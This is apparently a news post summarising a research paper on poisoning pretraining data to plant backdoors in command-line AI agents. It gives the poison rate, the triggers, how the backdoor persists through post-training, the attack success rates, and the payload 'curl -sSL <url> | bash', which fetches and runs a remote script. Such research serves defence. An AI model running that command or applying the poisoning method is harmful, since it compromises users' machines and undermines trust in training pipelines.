👀16
🔥82
Anthropic Fellows paper: poisoning 0.1% of pretraining data plants a remote-code-execution backdoor in CLI agents that survives clean SFT, DPO and RL
Researchers from the Anthropic Fellows Program and Anthropic, including Nicholas Carlini and Javier Rando, published "Agentic Backdoors via Pretraining Poisoning" on arXiv. They pretrained three Qwen3-architecture models from scratch at 0.6B, 1.7B and 4B, mixed just 0.1% poisoned documents into the pretraining corpus, and then turned each model into a command-line agent with a fully clean SFT, DPO and GRPO pipeline. The backdoor survived: when the trigger appears, the agent runs a remote-script command like curl -sSL <url> | bash. The 4B model reached a 92.7% Pass@32 attack success rate with an ordinary file-path trigger, while emitting the payload on 0% of clean prompts.
Key Takeaways
- Poison budget: only 0.1% of a 100B-token pretraining corpus; the attacker needs no access to the model architecture or post-training pipeline (paper)
- Persistence: the backdoor survives clean SFT, DPO and GRPO (RLVR) post-training and does not lower capability eval scores (paper figures)
- Success rate: the 4B model hits 92.7% Pass@32 attack success with an ordinary path trigger and 10.5% with a rare-string trigger; payload emission on clean prompts is 0% (paper figures)
- Scale effect: attack success rises monotonically with model size, and the 4B model stays above zero even at a 0.0005% (1 in 200,000) poison rate
- Defense: clean data cannot be guaranteed, so the authors point to the action layer, such as sandboxing, least privilege, and allow-lists or human confirmation for risky commands; code is open source (GitHub)
Linked Models & Agents:
⚡ Qwen3🌐 Anthropic
